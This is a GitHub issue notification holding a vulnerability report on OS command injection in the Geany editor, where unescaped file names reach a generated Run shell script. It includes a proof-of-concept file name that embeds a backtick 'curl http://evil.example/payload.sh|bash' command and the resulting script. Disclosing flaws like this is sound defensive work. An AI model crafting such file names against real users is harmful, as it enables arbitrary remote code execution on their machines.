CVE-Hunter-Leo created an issue (geany/geany#4611)
# Geany — Filename-Based Shell Injection via Run Script
| Field | Value |
|-------|-------|
| **Severity** | Critical |
| **CVSS** | 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) |
| **CWE** | CWE-78: OS Command Injection |
| **File** | `src/build.c` |
| **Lines** | 1105–1111 |
| **Affected Functions** | `build_create_shellscript()`, `prepare_run_cmd()`,
`generate_document_replacements()` |
| **Platform** | Unix (macOS, Linux) |
## Description
`build_create_shellscript()` generates a temporary shell script to execute the
user's run command. While the working directory is properly shell-quoted with
`g_shell_quote()`, the command string (`cmd`) is embedded **raw** — without any
escaping.
```c
// build.c:1105-1111
escaped_dir = g_shell_quote(working_dir); // properly escaped
str = g_strdup_printf(
"#!/bin/sh\n\nrm $0\n\ncd %s\n\n%s\n\necho \"...\" ...",
escaped_dir, // safe
cmd); // RAW — no escaping!
```
The `cmd` value comes from `prepare_run_cmd()` (line 779), which substitutes
document placeholders (`%e`, `%f`, `%d`, `%p`) into the build command. The
`generate_document_replacements()` function in `src/utils.c:2562` performs
these substitutions using `g_path_get_basename()` and `g_path_get_dirname()` —
yielding the actual filename or directory name **without any shell escaping**.
A filename containing shell metacharacters such as backticks (`` ` ``), `$()`,
or semicolons (`;`) will be substituted verbatim into the generated shell
script, where the metacharacters are interpreted by `/bin/sh`.
## Attack Scenario / POC
1. Attacker creates a file with a weaponized filename:
```
test`curl http://evil.example/payload.sh|bash`.c
```
2. Attacker sends the file to the victim (e.g. as an email attachment, in a
shared repository, or via a download link).
3. Victim opens the file in Geany.
4. Victim presses **F5** (Run) or clicks **Execute**.
5. The `%e` placeholder is substituted with `test`curl
http://evil.example/payload.sh|bash`` (the filename minus extension).
6. The generated shell script contains:
```sh
#!/bin/sh
rm $0
cd /path/to/dir
./test`curl http://evil.example/payload.sh|bash`
```
7. The backtick expression executes the `curl | bash` pipeline.
## Impact
Arbitrary command execution with the victim's user privileges. This is
triggered by simply running a file with a crafted name — a common and expected
operation in an IDE.
## Recommended Fix
Apply `g_shell_quote()` to the placeholder-substituted command string
**before** embedding it into the shell script:
```c
gchar *escaped_cmd = g_shell_quote(cmd);
str = g_strdup_printf(
"#!/bin/sh\n\nrm $0\n\ncd %s\n\n%s\n\necho \"...\" ...",
escaped_dir, escaped_cmd, ...);
g_free(escaped_cmd);
```
Alternatively, escape each substituted value individually within
`generate_document_replacements()` (`src/utils.c:2562`), before the value is
inserted into the command string.
A more robust architectural fix is to avoid the shell script entirely and pass
the command directly to `execve()` via `spawn_async_with_pipes()` with a proper
argument vector.
## References in code
- `src/build.c:1094–1138` — `build_create_shellscript()`
- `src/build.c:779–844` — `prepare_run_cmd()`
- `src/utils.c:2562–2622` — `generate_document_replacements()`
--
Reply to this email directly or view it on GitHub:
https://github.com/geany/geany/issues/4611
You are receiving this because you are subscribed to this thread.
Message ID: <geany/geany/issues/[email protected]>